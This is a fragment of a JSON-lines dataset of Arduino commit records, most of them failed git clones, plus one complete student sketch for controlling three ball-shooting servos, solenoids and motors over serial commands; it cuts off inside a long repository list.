authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3cf1e5fb6501b7e4e082adb93e173d2573f01a18","subject":"Added SerialCommander","message":"Added SerialCommander\n\nThis program is great for debugging the shooter. A user can very easily\nsend commands to the arduino by typing them through any serial monitor.\nAll functions can be controlled.\nIt hasn't been tested yet.\n","repos":"edunham\/engr421","old_file":"embedded\/SerialCommander\/SerialCommander.ino","new_file":"embedded\/SerialCommander\/SerialCommander.ino","new_contents":"\/\/ENGR 421 Team 4\n\/\/2013\n\n\/\/Written by Dean Reading\n\n\n\n\/*******************************************************************************************\/\n\/\/ Changelog\n\/*******************************************************************************************\n * Version control can now be handled by GitHub\n *\n * Version 1\n * Program written\n * Each shooter can be aimed\n * Each shooter can be fired\n * Each motor can be turned on or off\n * Instructions are printed at startup\n *\n * \n *\/\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Pre-Start\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\n\n\n\/\/ Pins\n\/*******************************************************************************************\/\n#define pinMotor1 5\n#define pinMotor2 2\n#define pinMotor3 3\n\n#define pinServo1 46\n#define pinServo2 45\n#define pinServo3 44\n\n#define pinSolenoid1 4\n#define pinSolenoid2 6\n#define pinSolenoid3 7\n\n\n\/\/ Parameters\n\/*******************************************************************************************\/\n\n#define commsTimeout 200 \/\/The maximum time that a received serial command can take, in mS\n\n#define ballReleaseTime 500 \/\/The time that the solenoid needs to be activated for to release a ball, in mS\n\n#define angleLowest 30 \/\/The minimum allowable angle\n#define angleHighest 150 \/\/The maximum allowable angle\n\n\/\/ Libraries & Objects\n\/*******************************************************************************************\/\n#include <Servo.h>\nServo servo1; \/\/Declare 3 instances of servo objects\nServo servo2;\nServo servo3;\n\n\/\/Function Prototypes\nvoid sendMessage (byte CMD,byte in1 = 255, byte in2 = 255, byte in3 = 255);\n\n\/\/ Constants\n\/*******************************************************************************************\/\nbyte commandLength[255]; \/\/The number of data bytes for each command type for serial comms\nconst byte solenoidPins[] = {\n 0,pinSolenoid1,pinSolenoid2,pinSolenoid3}; \/\/A map for the solenoid pins\nconst byte motorPins[] = {\n 0,pinMotor1,pinMotor2,pinMotor3}; \/\/A map for the solenoid pins\nconst byte motorLevel[] = {\n 0,255,255,255}; \/\/Individual PWM signal levels for each motor\n\n\n\/\/ Global Variables\n\/*******************************************************************************************\/\nunsigned long timer; \/\/A multi-purpose timer\n\nunsigned long ballReleaseTimer[4]; \/\/Saves when the last ball was released.\nboolean ballReleasing[] = {\n 0,0,0,0}; \/\/Indicates whether we are in the process of releasing a ball\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Setup\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid setup(){\n\n \/\/ Pin Modes and Setup\n \/*******************************************************************************************\/\n for (byte i=1;i<4;i++){\n pinMode(motorPins[i],OUTPUT);\n pinMode(solenoidPins[i],OUTPUT);\n\n analogWrite(motorPins[i],motorLevel[i]);\n digitalWrite(solenoidPins[i],LOW);\n }\n\n\n\n \/\/ Other Setup Code\n \/*******************************************************************************************\/\n Serial.begin(9600);\n Serial.setTimeout(commsTimeout);\n\n Serial.println(\"Arduino Start\");\n Serial.println(F(\"This program controls the three shooters from typed serial commands\"));\n Serial.println(F(\"To set shooter shooter 3 to 111 degrees, type: '3 111'\"));\n Serial.println(F(\"To shoot a ball on shooter 1, type: '1 s'\"));\n Serial.println(F(\"To stop the motor on shooter 2, type: '2 x'\"));\n Serial.println(F(\"To start the motor on shooter 2, type: '2 m'\\n\"));\n\n\n\n\n \/\/Attach the servo objects\n servo1.attach(pinServo1,900,2100); \/\/Include the maximum and minimum pulse widths.\n servo2.attach(pinServo2,900,2100);\n servo3.attach(pinServo3,900,2100);\n\n\n \/\/Wait until 'Game Start' button is pressed\n\n \/\/Set up the PWM DC motor control signals\n analogWrite(pinMotor1,motorLevel1);\n analogWrite(pinMotor2,motorLevel2);\n analogWrite(pinMotor3,motorLevel3);\n\n\n}\n\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Loop\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid loop(){\n checkSerial(); \/\/Check for incoming commands, and execute them\n\n checkSolenoids(); \/\/Deactivates any solenoids when needed\n\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*checkSerial\n\/*******************************************************************************************\/\nvoid checkSerial(){\n \/\/Check for input\n if (Serial.available()){\n delay(1);\n\n char FirstChar=Serial.read(); \/\/Get the first character\n\n \/\/Get the rest of the string, except for the '=' sign\n i=0;\n Serial.read(); \/\/Waste one character\n while (Serial.available()){\n StringIn[i++]=Serial.read();\n }\n StringIn[i]='\\0'; \/\/String null terminator\n\n \/\/Serial.println(StringIn);\n\n\n \/\/Set the new value and print out the result to confirm\n switch (FirstChar) {\n case 'A':\n case 'a':\n case '1':\n executeCommand(1,StringIn);\n break;\n \n case 'B':\n case 'b':\n case '2':\n executeCommand(2,StringIn);\n break;\n \n case 'C':\n case 'c':\n case '3':\n executeCommand(3,StringIn);\n break;\n \n default:\n Serial.println(\"First character not recognized\");\n }\n\n\n }\n}\n\n*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*executeCommand\n\/*******************************************************************************************\/\n\/\/This function executes whatever the necessary action is, as told by the command and data\n\/\/received through serial comms\nvoid executeCommand(byte shooterNum, String In){\n switch (In){\n case \"S\":\n case \"s\":\n releaseBall(shooterNum);\n break;\n\n case \"M\":\n case \"m\":\n analogWrite(motorPins[shooterNum],motorLevel[shooterNum]);\n break;\n\n case \"X\":\n case \"x\":\n analogWrite(motorPins[shooterNum],0);\n break;\n\n default: \/\/If the string isn't 's' or 'm', is it assumed ot be a number, corresponding to an angle\n setShooterAngle(shooterNum,atof(StringIn));\n }\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*setShooterAngle\n\/*******************************************************************************************\/\n\/\/This function changes the servo signal for shooter <shooterNum> to the angle defined by \n\/\/ <angle>. <angle> is a byte that ranges from 180, which maps from 900 to 2100 mS.\nvoid setShooterAngle(byte shooterNum, byte angle){\n\n \/\/ unsigned int output = (((unsigned int) angle-1)*137)\/29+900; \/\/ 137\/29 = 4.724 = 1200\/254, the scaling factor to get to uS\n\n\n Serial.print(\"Setting shooter \");\n Serial.print(shooterNum);\n Serial.print(\" to \");\n Serial.println(angle);\n\n\n \/\/Set the servo output. Use a switch statement to use the correct servo object.\n if (angle<angleLowest || angle>angleHighest) {\n \/\/The angle is invalid! Don't move the shooter, and send feedback\n sendMessage(0xE2,shooterNum,angle);\n }\n else{\n switch (shooterNum) {\n case 1:\n servo1.write(angle);\n break;\n case 2:\n servo2.write(angle);\n break;\n case 3:\n servo1.write(angle);\n break;\n default:\n\n Serial.print(\"Unrecognized shooter Num: \");\n Serial.println(shooterNum);\n\n \/\/Send error feedback to laptop\n sendMessage(0xE1,shooterNum);\n }\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*releaseBall\n\/*******************************************************************************************\/\n\/\/This function releases one BB (hopefully) from shooter <shooterNum>\nvoid releaseBall(byte shooterNum) {\n\n\n Serial.print(\"Releasing ball from shooter: \");\n Serial.println(shooterNum);\n\n\n digitalWrite(solenoidPins[shooterNum],HIGH); \/\/Activate the solenoid: open the passage\n\n ballReleaseTimer[shooterNum]=millis()+ballReleaseTime; \/\/Set the timer for deactivating the solenoid\n ballReleasing[shooterNum]=1; \/\/Indicate that we are releasing a ball\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*checkSolenoids\n\/*******************************************************************************************\/\n\/\/Check whether there are any solenoids that need to be deactivated\nvoid checkSolenoids(){\n for (byte i=1;i<4;i++){ \/\/Check all 3 solenoids\n if (ballReleasing[i]==1){ \/\/If a ball is currently being released\n if (millis()>ballReleaseTimer[i]){ \/\/If enough time has passed\n digitalWrite(solenoidPins[i],LOW); \/\/Deactivate the solenoid: close the passage\n ballReleasing[i]=0; \/\/Indicate that the ball is no longer being released\n\n Serial.print(\"Deactivating solenoid: \");\n Serial.println(i);\n\n }\n }\n }\n}\n\n\n\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'embedded\/SerialCommander\/SerialCommander.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45c8acdaefab35dcfc8b34bfdab58a3004e046a9","subject":"Added a check for the version before loading\/installing from EEPROM.","message":"Added a check for the version before loading\/installing from EEPROM.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b3c9a60032e16cd5973e3de8b45e1e48e9f9b9fc","subject":"fix handshake pin","message":"fix handshake pin\n","repos":"arduino-org\/Arduino,arduino-org\/Arduino,stevemarple\/Arduino-org,arduino-org\/Arduino,arduino-org\/Arduino,stevemarple\/Arduino-org,stevemarple\/Arduino-org,stevemarple\/Arduino-org,arduino-org\/Arduino,arduino-org\/Arduino,arduino-org\/Arduino,stevemarple\/Arduino-org,stevemarple\/Arduino-org,arduino-org\/Arduino,stevemarple\/Arduino-org,stevemarple\/Arduino-org","old_file":"libraries\/Bridge\/examples\/YunSerialTerminal\/YunSerialTerminal.ino","new_file":"libraries\/Bridge\/examples\/YunSerialTerminal\/YunSerialTerminal.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/arduino-org\/Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"63a462862a9d71040089bb27457b6dd72c5d8f68","subject":"Added ScanNetworks example, for all encryption types","message":"Added ScanNetworks example, for all encryption types\n\nSince this example doesn't need a connection to a network to see what\nnets are out there, I went with one example rather than three.\n","repos":"EmuxEvans\/Arduino,rcook\/DesignLab,jaimemaretoli\/Arduino,ogferreiro\/Arduino,weera00\/Arduino,stevemayhew\/Arduino,ssvs111\/Arduino,rodibot\/Arduino,bigjosh\/Arduino,scdls\/Arduino,mangelajo\/Arduino,chaveiro\/Arduino,PaoloP74\/Arduino,wdoganowski\/Arduino,steamboating\/Arduino,jabezGit\/Arduino,NeuralSpaz\/Arduino,xxxajk\/Arduino-1,01org\/Arduino,adamkh\/Arduino,linino\/Arduino,sanyaade-iot\/Arduino-1,andrealmeidadomingues\/Arduino,stickbreaker\/Arduino,shiitakeo\/Arduino,bugobliterator\/BUAGI,acosinwork\/Arduino,me-no-dev\/Arduino-1,sanyaade-iot\/Arduino-1,radut\/Arduino,jmgonzalez00449\/Arduino,Chris--A\/Arduino,wilhelmryan\/Arduino,paulmand3l\/Arduino,gestrem\/Arduino,jaehong\/Xmegaduino,damellis\/Arduino,mateuszdw\/Arduino,Protoneer\/Arduino,jomolinare\/Arduino,eddyst\/Arduino-SourceCode,jaimemaretoli\/Arduino,Chris--A\/Arduino,nkolban\/Arduino,lulufei\/Arduino,probonopd\/Arduino,bsmr-arduino\/Arduino,ogahara\/Arduino,tskurauskas\/Arduino,jamesrob4\/Arduino,noahchense\/Arduino-1,ntruchsess\/Arduino-1,talhaburak\/Arduino,rodibot\/Arduino,SmartArduino\/Arduino-1,stevemayhew\/Arduino,chaveiro\/Arduino,eddyst\/Arduino-SourceCode,onovy\/Arduino,jaej-dev\/Arduino,ms-iot\/Arduino,mboufos\/esp8266-Arduino,acosinwork\/Arduino,Gourav2906\/Arduino,garci66\/Arduino,raimohanska\/Arduino,vbextreme\/Arduino,shiitakeo\/Arduino,tommyli2014\/Arduino,stevemarple\/Arduino-org,probonopd\/Arduino,lukeWal\/Arduino,mattvenn\/Arduino,raimohanska\/Arduino,vbextreme\/Arduino,plaintea\/esp8266-Arduino,cscenter\/Arduino,diydrones\/Arduino,tannewt\/Arduino,chaveiro\/Arduino,kidswong999\/Arduino,odbol\/Arduino,tommyli2014\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,nandojve\/Arduino,mangelajo\/Arduino,linino\/Arduino,arduino-org\/Arduino,OpenDevice\/Arduino,diydrones\/Arduino,drpjk\/Arduino,Cloudino\/Cloudino-Arduino-IDE,zederson\/Arduino,ogahara\/Arduino,mangelajo\/Arduino,mattvenn\/Arduino,odbol\/Arduino,piersoft\/esp8266-Arduino,wayoda\/Arduino,arunkuttiyara\/Arduino,arunkuttiyara\/Arduino,snargledorf\/Arduino,zenmanenergy\/Arduino,jaimemaretoli\/Arduino,EmuxEvans\/Arduino,OpenDevice\/Arduino,arduino-org\/Arduino,onovy\/Arduino,jaej-dev\/Arduino,PeterVH\/Arduino,laylthe\/Arduino,UDOOboard\/Arduino,weera00\/Arduino,damellis\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,plaintea\/esp8266-Arduino,zaiexx\/Arduino,Alfredynho\/AgroSis,linino\/Arduino,danielchalef\/Arduino,wdoganowski\/Arduino,bigjosh\/Arduino,eduardocasarin\/Arduino,PaintYourDragon\/Arduino,steamboating\/Arduino,SmartArduino\/Arduino-1,EmuxEvans\/Arduino,Protoneer\/Arduino,leftbrainstrain\/Arduino-ESP8266,pdNor\/Arduino,eeijcea\/Arduino-1,stevemarple\/Arduino-org,kidswong999\/Arduino,plaintea\/esp8266-Arduino,ntruchsess\/Arduino-1,nandojve\/Arduino,probonopd\/Arduino,kidswong999\/Arduino,rcook\/DesignLab,jamesrob4\/Arduino,rodibot\/Arduino,Gourav2906\/Arduino,leftbrainstrain\/Arduino-ESP8266,gestrem\/Arduino,nkolban\/Arduino,zaiexx\/Arduino,381426068\/Arduino,gurbrinder\/Arduino,ricklon\/Arduino,jmgonzalez00449\/Arduino,jaehong\/Xmegaduino,odbol\/Arduino,wilhelmryan\/Arduino,mateuszdw\/Arduino,majenkotech\/Arduino,ms-iot\/Arduino,vbextreme\/Arduino,jomolinare\/Arduino,koltegirish\/Arduino,nandojve\/Arduino,damellis\/Arduino,Orthogonal-Systems\/arduino-libs,plinioseniore\/Arduino,arduino-org\/Arduino,ricklon\/Arduino,adafruit\/ESP8266-Arduino,ikbelkirasan\/Arduino,tommyli2014\/Arduino,jaej-dev\/Arduino,PaintYourDragon\/Arduino,superboonie\/Arduino,ari-analytics\/Arduino,HCastano\/Arduino,me-no-dev\/Arduino-1,eddyst\/Arduino-SourceCode,ForestNymph\/Arduino_sources,drpjk\/Arduino,ikbelkirasan\/Arduino,laylthe\/Arduino,ashwin713\/Arduino,ikbelkirasan\/Arduino,bsmr-arduino\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,tannewt\/Arduino,bugobliterator\/BUAGI,weera00\/Arduino,wilhelmryan\/Arduino,bugobliterator\/BUAGI,gberl001\/Arduino,ikbelkirasan\/Arduino,jaehong\/Xmegaduino,karlitxo\/Arduino,PeterVH\/Arduino,381426068\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,scdls\/Arduino,karlitxo\/Arduino,drpjk\/Arduino,majenkotech\/Arduino,ntruchsess\/Arduino-1,arunkuttiyara\/Arduino,mc-hamster\/esp8266-Arduino,garci66\/Arduino,garci66\/Arduino,NeuralSpaz\/Arduino,mc-hamster\/esp8266-Arduino,nkolban\/Arduino,kidswong999\/Arduino,steamboating\/Arduino,ari-analytics\/Arduino,majenkotech\/Arduino,bigjosh\/Arduino,HCastano\/Arduino,fungxu\/Arduino,stickbreaker\/Arduino,paulmand3l\/Arduino,nandojve\/Arduino,xxxajk\/Arduino-1,me-no-dev\/Arduino-1,NicoHood\/Arduino,adafruit\/ESP8266-Arduino,damellis\/Arduino,henningpohl\/Arduino,tomkrus007\/Arduino,jamesrob4\/Arduino,wayoda\/Arduino,me-no-dev\/Arduino-1,majenkotech\/Arduino,acosinwork\/Arduino,nkolban\/Arduino,radut\/Arduino,PaoloP74\/Arduino,snargledorf\/Arduino,fungxu\/Arduino,ashwin713\/Arduino,odbol\/Arduino,ForestNymph\/Arduino_sources,Ramoonus\/Arduino,cscenter\/Arduino,mattvenn\/Arduino,mattvenn\/Arduino,karlitxo\/Arduino,pdNor\/Arduino,me-no-dev\/Arduino-1,toddtreece\/esp8266-Arduino,championswimmer\/Arduino,PaoloP74\/Arduino,wdoganowski\/Arduino,acosinwork\/Arduino,smily77\/Arduino,tannewt\/Arduino,jamesrob4\/Arduino,NeuralSpaz\/Arduino,ForestNymph\/Arduino_sources,aichi\/Arduino-2,ntruchsess\/Arduino-1,jaehong\/Xmegaduino,Gourav2906\/Arduino,championswimmer\/Arduino,spapadim\/Arduino,pdNor\/Arduino,ccoenen\/Arduino,aichi\/Arduino-2,KlaasDeNys\/Arduino,eggfly\/arduino,gurbrinder\/Arduino,vbextreme\/Arduino,leftbrainstrain\/Arduino-ESP8266,stevemarple\/Arduino-org,mangelajo\/Arduino,andrealmeidadomingues\/Arduino,benwolfe\/esp8266-Arduino,piersoft\/esp8266-Arduino,ashwin713\/Arduino,myrtleTree33\/Arduino,byran\/Arduino,wdoganowski\/Arduino,spapadim\/Arduino,NicoHood\/Arduino,mateuszdw\/Arduino,kidswong999\/Arduino,ssvs111\/Arduino,eggfly\/arduino,zenmanenergy\/Arduino,shannonshsu\/Arduino,ms-iot\/Arduino,tomkrus007\/Arduino,shannonshsu\/Arduino,paulo-raca\/ESP8266-Arduino,jabezGit\/Arduino,probonopd\/Arduino,noahchense\/Arduino-1,eduardocasarin\/Arduino,tomkrus007\/Arduino,tbowmo\/Arduino,gestrem\/Arduino,bsmr-arduino\/Arduino,KlaasDeNys\/Arduino,zenmanenergy\/Arduino,benwolfe\/esp8266-Arduino,stevemayhew\/Arduino,mangelajo\/Arduino,NaSymbol\/Arduino,fungxu\/Arduino,NicoHood\/Arduino,jabezGit\/Arduino,pdNor\/Arduino,NicoHood\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,adafruit\/ESP8266-Arduino,ari-analytics\/Arduino,jomolinare\/Arduino,myrtleTree33\/Arduino,ogferreiro\/Arduino,plaintea\/esp8266-Arduino,tomkrus007\/Arduino,Chris--A\/Arduino,01org\/Arduino,gonium\/Arduino,spapadim\/Arduino,plinioseniore\/Arduino,Protoneer\/Arduino,shannonshsu\/Arduino,jaimemaretoli\/Arduino,ari-analytics\/Arduino,me-no-dev\/Arduino-1,jomolinare\/Arduino,UDOOboard\/Arduino,bsmr-arduino\/Arduino,nandojve\/Arduino,KlaasDeNys\/Arduino,PeterVH\/Arduino,vbextreme\/Arduino,steamboating\/Arduino,scdls\/Arduino,adafruit\/ESP8266-Arduino,niggor\/Arduino_cc,ikbelkirasan\/Arduino,wayoda\/Arduino,Alfredynho\/AgroSis,arduino-org\/Arduino,eduardocasarin\/Arduino,HCastano\/Arduino,odbol\/Arduino,jaimemaretoli\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,SmartArduino\/Arduino-1,mc-hamster\/esp8266-Arduino,laylthe\/Arduino,championswimmer\/Arduino,ms-iot\/Arduino,ogahara\/Arduino,henningpohl\/Arduino,steamboating\/Arduino,NeuralSpaz\/Arduino,onovy\/Arduino,benwolfe\/esp8266-Arduino,stickbreaker\/Arduino,jabezGit\/Arduino,andyvand\/Arduino-1,Cloudino\/Arduino,adamkh\/Arduino,gonium\/Arduino,steamboating\/Arduino,andyvand\/Arduino-1,tbowmo\/Arduino,stickbreaker\/Arduino,PaoloP74\/Arduino,eggfly\/arduino,niggor\/Arduino_cc,UDOOboard\/Arduino,garci66\/Arduino,lukeWal\/Arduino,jaimemaretoli\/Arduino,plinioseniore\/Arduino,probonopd\/Arduino,ccoenen\/Arduino,cscenter\/Arduino,wayoda\/Arduino,snargledorf\/Arduino,Ramoonus\/Arduino,bsmr-arduino\/Arduino,ogferreiro\/Arduino,ccoenen\/Arduino,zederson\/Arduino,talhaburak\/Arduino,raimohanska\/Arduino,leftbrainstrain\/Arduino-ESP8266,scdls\/Arduino,lulufei\/Arduino,mboufos\/esp8266-Arduino,lukeWal\/Arduino,EmuxEvans\/Arduino,mangelajo\/Arduino,vbextreme\/Arduino,EmuxEvans\/Arduino,paulmand3l\/Arduino,talhaburak\/Arduino,zenmanenergy\/Arduino,shiitakeo\/Arduino,Ramoonus\/Arduino,koltegirish\/Arduino,HCastano\/Arduino,adamkh\/Arduino,ntruchsess\/Arduino-1,linino\/Arduino,KlaasDeNys\/Arduino,championswimmer\/Arduino,ricklon\/Arduino,bigjosh\/Arduino,Cloudino\/Arduino,stevemayhew\/Arduino,smily77\/Arduino,ntruchsess\/Arduino-1,tommyli2014\/Arduino,ogahara\/Arduino,smily77\/Arduino,mboufos\/esp8266-Arduino,chaveiro\/Arduino,arduino-org\/Arduino,xxxajk\/Arduino-1,Ramoonus\/Arduino,tommyli2014\/Arduino,drpjk\/Arduino,paulo-raca\/ESP8266-Arduino,jamesrob4\/Arduino,niggor\/Arduino_cc,ektor5\/Arduino,laylthe\/Arduino,SmartArduino\/Arduino-1,stickbreaker\/Arduino,koltegirish\/Arduino,nkolban\/Arduino,jomolinare\/Arduino,ashwin713\/Arduino,eeijcea\/Arduino-1,adafruit\/ESP8266-Arduino,tomkrus007\/Arduino,ForestNymph\/Arduino_sources,mboufos\/esp8266-Arduino,Gourav2906\/Arduino,gurbrinder\/Arduino,ogferreiro\/Arduino,Cloudino\/Cloudino-Arduino-IDE,shannonshsu\/Arduino,paulmand3l\/Arduino,gonium\/Arduino,stevemayhew\/Arduino,radut\/Arduino,jaej-dev\/Arduino,leftbrainstrain\/Arduino-ESP8266,xxxajk\/Arduino-1,tskurauskas\/Arduino,spapadim\/Arduino,adafruit\/ESP8266-Arduino,karlitxo\/Arduino,Gourav2906\/Arduino,01org\/Arduino,raimohanska\/Arduino,talhaburak\/Arduino,Cloudino\/Cloudino-Arduino-IDE,aichi\/Arduino-2,laylthe\/Arduino,mc-hamster\/esp8266-Arduino,KlaasDeNys\/Arduino,zederson\/Arduino,ccoenen\/Arduino,sanyaade-iot\/Arduino-1,tbowmo\/Arduino,ektor5\/Arduino,talhaburak\/Arduino,leftbrainstrain\/Arduino-ESP8266,HCastano\/Arduino,snargledorf\/Arduino,piersoft\/esp8266-Arduino,koltegirish\/Arduino,ektor5\/Arduino,tskurauskas\/Arduino,NicoHood\/Arduino,381426068\/Arduino,spapadim\/Arduino,tannewt\/Arduino,mateuszdw\/Arduino,gberl001\/Arduino,rcook\/DesignLab,PaintYourDragon\